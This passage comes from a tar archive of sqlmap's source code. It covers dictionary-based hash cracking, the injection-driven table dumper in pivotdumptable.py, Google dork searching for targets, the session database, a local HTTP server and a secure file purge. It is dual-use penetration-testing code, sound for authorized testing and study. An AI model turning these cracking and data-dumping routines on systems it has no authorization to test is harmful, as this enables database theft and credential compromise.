= "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) class Value(object): pass retVal = _queue.Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warning(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: _finalize(retVal, results, processes, attack_info) clearConsoleLine() results.extend(resumes) if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" logger.warning(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" logger.warning(warnMsg) return results def crackHashFile(hashFile): i = 0 attack_dict = {} for line in getFileItems(conf.hashFile): if ':' in line: user, hash_ = line.split(':', 1) attack_dict[user] = [hash_] else: attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [line] i += 1 dictionaryAttack(attack_dict) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/hashdb.py��������������������������������������������������������������������0000664�0000000�0000000�00000020401�15022617442�0016535�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import hashlib import os import sqlite3 import threading import time from lib.core.common import getSafeExString from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD from lib.core.settings import HASHDB_RETRIEVE_RETRIES from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadName from thirdparty import six class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} self._cache_lock = threading.Lock() self._connections = [] def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) self._connections.append(connection) threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() except Exception as ex: errMsg = "error occurred while opening a session " errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) return threadData.hashDBCursor def _set_cursor(self, cursor): threadData = getCurrentThreadData() threadData.hashDBCursor = cursor cursor = property(_get_cursor, _set_cursor) def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: threadData.hashDBCursor.connection.commit() threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None except: pass def closeAll(self): for connection in self._connections: try: connection.commit() connection.close() except: pass @staticmethod def hashKey(key): key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400 return retVal def retrieve(self, key, unserialize=False): retVal = None if key and (self._write_cache or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) if not retVal: for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] except (sqlite3.OperationalError, sqlite3.DatabaseError) as ex: if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) singleTimeWarnMessage(warnMsg) elif "Could not decode" in getSafeExString(ex): break else: errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) errMsg += "If the problem persists please rerun with '--flush-session'" raise SqlmapConnectionException(errMsg) else: break time.sleep(1) if retVal and unserialize: try: retVal = unserializeObject(retVal) except: retVal = None warnMsg = "error occurred while unserializing value for session key '%s'. " % key warnMsg += "If the problem persists please rerun with '--flush-session'" logger.warning(warnMsg) return retVal def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) self._cache_lock.acquire() self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) self._cache_lock.release() if getCurrentThreadName() in ('0', "MainThread"): self.flush() def flush(self, forced=False): if not self._write_cache: return if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: return self._cache_lock.acquire() _ = self._write_cache self._write_cache = {} self._cache_lock.release() try: self.beginTransaction() for hash_, value in _.items(): retries = 0 while True: try: try: self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) except (UnicodeError, OverflowError): # e.g. surrogates not allowed (Issue #3851) break except sqlite3.DatabaseError as ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath logger.debug(debugMsg) break if retries == 0: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) logger.warning(warnMsg) if retries >= HASHDB_FLUSH_RETRIES: return else: retries += 1 time.sleep(1) else: break finally: self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() if not threadData.inTransaction: try: self.cursor.execute("BEGIN TRANSACTION") except: try: # Reference: http://stackoverflow.com/a/25245731 self.cursor.close() except sqlite3.ProgrammingError: pass threadData.hashDBCursor = None self.cursor.execute("BEGIN TRANSACTION") finally: threadData.inTransaction = True def endTransaction(self): threadData = getCurrentThreadData() if threadData.inTransaction: retries = 0 while retries < HASHDB_END_TRANSACTION_RETRIES: try: self.cursor.execute("END TRANSACTION") threadData.inTransaction = False except sqlite3.OperationalError: pass except sqlite3.ProgrammingError: self.cursor = None threadData.inTransaction = False return else: return retries += 1 time.sleep(1) try: self.cursor.execute("ROLLBACK TRANSACTION") except sqlite3.OperationalError: self.cursor.close() self.cursor = None finally: threadData.inTransaction = False ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/httpd.py���������������������������������������������������������������������0000664�0000000�0000000�00000011115�15022617442�0016431�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import mimetypes import gzip import os import re import sys import threading import time import traceback sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))) from lib.core.enums import HTTP_HEADER from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VERSION_STRING from thirdparty import six from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import socketserver as _socketserver from thirdparty.six.moves import urllib as _urllib HTTP_ADDRESS = "0.0.0.0" HTTP_PORT = 8951 DEBUG = True HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") class ThreadingServer(_socketserver.ThreadingMixIn, _BaseHTTPServer.HTTPServer): def finish_request(self, *args, **kwargs): try: _BaseHTTPServer.HTTPServer.finish_request(self, *args, **kwargs) except Exception: if DEBUG: traceback.print_exc() class ReqHandler(_BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") params = {} content = None if query: params.update(_urllib.parse.parse_qs(query)) for key in params: if params[key]: params[key] = params[key][-1] self.url, self.params = path, params if path == '/': path = "index.html" path = path.strip('/') path = path.replace('/', os.path.sep) path = os.path.abspath(os.path.join(HTML_DIR, path)).strip() if not os.path.isfile(path) and os.path.isfile("%s.html" % path): path = "%s.html" % path if ".." not in os.path.relpath(path, HTML_DIR) and os.path.isfile(path) and not path.endswith(DISABLED_CONTENT_EXTENSIONS): content = open(path, "rb").read() self.send_response(_http_client.OK) self.send_header(HTTP_HEADER.CONNECTION, "close") self.send_header(HTTP_HEADER.CONTENT_TYPE, mimetypes.guess_type(path)[0] or "application/octet-stream") else: content = ("<!DOCTYPE html><html lang=\"en\"><head><title>404 Not Found

    Not Found

    The requested URL %s was not found on this server.

    " % self.path.split('?')[0]).encode(UNICODE_ENCODING) self.send_response(_http_client.NOT_FOUND) self.send_header(HTTP_HEADER.CONNECTION, "close") if content is not None: for match in re.finditer(b"", content): name = match.group(1) _ = getattr(self, "_%s" % name.lower(), None) if _: content = self._format(content, **{name: _()}) if "gzip" in self.headers.get(HTTP_HEADER.ACCEPT_ENCODING): self.send_header(HTTP_HEADER.CONTENT_ENCODING, "gzip") _ = six.BytesIO() compress = gzip.GzipFile("", "w+b", 9, _) compress._stream = _ compress.write(content) compress.flush() compress.close() content = compress._stream.getvalue() self.send_header(HTTP_HEADER.CONTENT_LENGTH, str(len(content))) self.end_headers() if content: self.wfile.write(content) self.wfile.flush() def _format(self, content, **params): if content: for key, value in params.items(): content = content.replace("" % key, value) return content def version_string(self): return VERSION_STRING def log_message(self, format, *args): return def finish(self): try: _BaseHTTPServer.BaseHTTPRequestHandler.finish(self) except Exception: if DEBUG: traceback.print_exc() def start_httpd(): server = ThreadingServer((HTTP_ADDRESS, HTTP_PORT), ReqHandler) thread = threading.Thread(target=server.serve_forever) thread.daemon = True thread.start() print("[i] running HTTP server at '%s:%d'" % (HTTP_ADDRESS, HTTP_PORT)) if __name__ == "__main__": try: start_httpd() while True: time.sleep(1) except KeyboardInterrupt: pass sqlmap-1.9.6/lib/utils/pivotdumptable.py000066400000000000000000000163101502261744200203470ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import MAX_INT from lib.core.settings import NULL from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper from lib.request import inject from lib.utils.safe2bin import safechardecode from thirdparty.six import unichr as _unichr def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if hasattr(count, "isdigit") and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) colList.remove(_) colList.insert(0, _) validPivotValue = True break if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table logger.warning(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "") logger.info(infoMsg) query = dumpNode.count2 % (column, table) query = agent.whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "") infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warning(warnMsg) pivotValue = " " breakRetrieval = False def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False) if SINGLE_QUOTE_MARKER not in dumpNode.query2 else pivotValue) query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: for i in xrange(count): if breakRetrieval: break for column in colList: value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): try: for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], _unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, _unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break except ValueError: pass if isNoneValue(value) or value == NULL: breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warning(warnMsg) except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) errMsg += "will display partial output" logger.critical(errMsg) return entries, lengths sqlmap-1.9.6/lib/utils/progress.py000066400000000000000000000064101502261744200171540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import time from lib.core.common import dataToStdout from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb class ProgressBar(object): """ This class defines methods to update and draw a progress bar """ def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._progBar = "[]" self._min = int(minValue) self._max = int(maxValue) self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 self._start = None self.update() def _convertSeconds(self, value): seconds = value minutes = seconds // 60 seconds = seconds - (minutes * 60) return "%.2d:%.2d" % (minutes, seconds) def update(self, newAmount=0): """ This method updates the progress bar """ if newAmount < self._min: newAmount = self._min elif newAmount > self._max: newAmount = self._max self._amount = newAmount # Figure out the new percent done, round to an integer diffFromMin = float(self._amount - self._min) percentDone = (diffFromMin / float(self._span)) * 100.0 percentDone = round(percentDone) percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be allFull = self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max)) numHashes = (percentDone / 100.0) * allFull numHashes = int(round(numHashes)) # Build a progress bar with an arrow of equal signs if numHashes == 0: self._progBar = "[>%s]" % (" " * (allFull - 1)) elif numHashes == allFull: self._progBar = "[%s]" % ("=" * allFull) else: self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) # Add the percentage at the beginning of the progress bar percentString = getUnicode(percentDone) + "%" self._progBar = "%s %s" % (percentString, self._progBar) def progress(self, newAmount): """ This method saves item delta time and shows updated progress bar with calculated eta """ if self._start is None or newAmount > self._max: self._start = time.time() eta = None else: delta = time.time() - self._start eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta self.update(newAmount) self.draw(eta) def draw(self, eta=None): """ This method draws the progress bar if it has changed """ dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: dataToStdout("\r%s\r" % (" " * self._width)) kb.prependFlag = False def __str__(self): """ This method returns the progress bar string """ return getUnicode(self._progBar) sqlmap-1.9.6/lib/utils/purge.py000066400000000000000000000051611502261744200164340ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools import os import random import shutil import stat import string from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import logger from thirdparty.six import unichr as _unichr def purge(directory): """ Safely removes content from a given directory """ if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory logger.warning(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory logger.info(infoMsg) filepaths = [] dirpaths = [] for rootpath, directories, filenames in os.walk(directory): dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories) filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames) logger.debug("changing file attributes") for filepath in filepaths: try: os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) except: pass logger.debug("writing random data to files") for filepath in filepaths: try: filesize = os.path.getsize(filepath) with openFile(filepath, "w+b") as f: f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass logger.debug("truncating files") for filepath in filepaths: try: with open(filepath, 'w') as f: pass except: pass logger.debug("renaming filenames to random values") for filepath in filepaths: try: os.rename(filepath, os.path.join(os.path.dirname(filepath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass dirpaths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) logger.debug("renaming directory names to random values") for dirpath in dirpaths: try: os.rename(dirpath, os.path.join(os.path.dirname(dirpath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass logger.debug("deleting the whole directory tree") try: shutil.rmtree(directory) except OSError as ex: logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex))) sqlmap-1.9.6/lib/utils/safe2bin.py000066400000000000000000000061651502261744200170100ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii import re import string import sys PY3 = sys.version_info >= (3, 0) if PY3: xrange = range text_type = str string_types = (str,) unichr = chr else: text_type = unicode string_types = (basestring,) # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" # Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" # Characters that don't need to be safe encoded SAFE_CHARS = "".join([_ for _ in string.printable.replace('\\', '') if _ not in SAFE_ENCODE_SLASH_REPLACEMENTS]) # Prefix used for hex encoded values HEX_ENCODED_PREFIX = r"\x" # Strings used for temporary marking of hex encoded prefixes (to prevent double encoding) HEX_ENCODED_PREFIX_MARKER = "__HEX_ENCODED_PREFIX__" # String used for temporary marking of slash characters SLASH_MARKER = "__SLASH__" def safecharencode(value): """ Returns safe representation of a given basestring value >>> safecharencode(u'test123') == u'test123' True >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf' True """ retVal = value if isinstance(value, string_types): if any(_ not in SAFE_CHARS for _ in value): retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) retVal = retVal.replace('\\', SLASH_MARKER) for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) for char in set(retVal): if not (char in string.printable or isinstance(value, text_type) and ord(char) >= 160): retVal = retVal.replace(char, '\\x%02x' % ord(char)) retVal = retVal.replace(SLASH_MARKER, "\\\\") retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) elif isinstance(value, list): for i in xrange(len(value)): retVal[i] = safecharencode(value[i]) return retVal def safechardecode(value, binary=False): """ Reverse function to safecharencode """ retVal = value if isinstance(value, string_types): retVal = retVal.replace('\\\\', SLASH_MARKER) while True: match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) if match: retVal = retVal.replace(match.group("result"), unichr(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) else: break for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: retVal = retVal.replace(repr(char).strip('\''), char) retVal = retVal.replace(SLASH_MARKER, '\\') if binary: if isinstance(retVal, text_type): retVal = retVal.encode("utf8", errors="surrogatepass" if PY3 else "strict") elif isinstance(value, (list, tuple)): for i in xrange(len(value)): retVal[i] = safechardecode(value[i]) return retVal sqlmap-1.9.6/lib/utils/search.py000066400000000000000000000174571502261744200165720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import socket from lib.core.common import getSafeExString from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import urlencode from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import BING_REGEX from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import GOOGLE_CONSENT_COOKIE from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks def _search(dork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ if not dork: return None page = None data = None requestHeaders = {} responseHeaders = {} requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE requestHeaders[HTTP_HEADER.COOKIE] = GOOGLE_CONSENT_COOKIE try: req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders) conn = _urllib.request.urlopen(req) except Exception as ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) raise SqlmapConnectionException(errMsg) gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using search result page #%d" % gpage) url = "https://www.google.com/search?" # NOTE: if consent fails, try to use the "http://" url += "q=%s&" % urlencode(dork, convall=True) url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage - 1) * 100) try: req = _urllib.request.Request(url, headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except _urllib.error.HTTPError as ex: try: page = ex.read() responseHeaders = ex.info() except Exception as _: warnMsg = "problem occurred while trying to get " warnMsg += "an error page information (%s)" % getSafeExString(_) logger.critical(warnMsg) return None except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): errMsg = "unable to connect to Google" raise SqlmapConnectionException(errMsg) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " warnMsg += "used IP address disabling further searches" if conf.proxyList: raise SqlmapBaseException(warnMsg) else: logger.critical(warnMsg) if not retVal: message = "no usable links found. What do you want to do?" message += "\n[1] (re)try with DuckDuckGo (default)" message += "\n[2] (re)try with Bing" message += "\n[3] quit" choice = readInput(message, default='1') if choice == '3': raise SqlmapUserQuitException elif choice == '2': url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) regex = BING_REGEX else: url = "https://html.duckduckgo.com/html/" data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30) regex = DUCKDUCKGO_REGEX try: req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except _urllib.error.HTTPError as ex: try: page = ex.read() page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type")) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code logger.critical(warnMsg) return None except: errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] if not retVal and "issue with the Tor Exit Node you are currently using" in page: warnMsg = "DuckDuckGo has detected 'unusual' traffic from " warnMsg += "used (Tor) IP address" if conf.proxyList: raise SqlmapBaseException(warnMsg) else: logger.critical(warnMsg) return retVal @stackedmethod def search(dork): pushValue(kb.choices.redirect) kb.choices.redirect = REDIRECTION.YES try: return _search(dork) except SqlmapBaseException as ex: if conf.proxyList: logger.critical(getSafeExString(ex)) warnMsg = "changing proxy" logger.warning(warnMsg) conf.proxy = None setHTTPHandlers() return search(dork) else: raise finally: kb.choices.redirect = popValue() def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError sqlmap-1.9.6/lib/utils/sgmllib.py000066400000000000000000000435431502261744200167510ustar00rootroot00000000000000"""A parser for SGML, using the derived class as a static DTD.""" # Note: missing in Python3 # XXX This only supports those SGML features used by HTML. # XXX There should be a way to distinguish between PCDATA (parsed # character data -- the normal case), RCDATA (replaceable character # data -- only char and entity references and end tags are special) # and CDATA (character data -- only end tags are special). RCDATA is # not supported at all. from __future__ import print_function try: import _markupbase as markupbase except: import markupbase import re __all__ = ["SGMLParser", "SGMLParseError"] # Regular expressions used for parsing interesting = re.compile('[&<]') incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' '<([a-zA-Z][^<>]*|' '/([a-zA-Z][^<>]*)?|' '![^<>]*)?') entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') charref = re.compile('&#([0-9]+)[^0-9]') starttagopen = re.compile('<[>a-zA-Z]') shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/') shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/') piclose = re.compile('>') endbracket = re.compile('[<>]') tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*') attrfind = re.compile( r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' 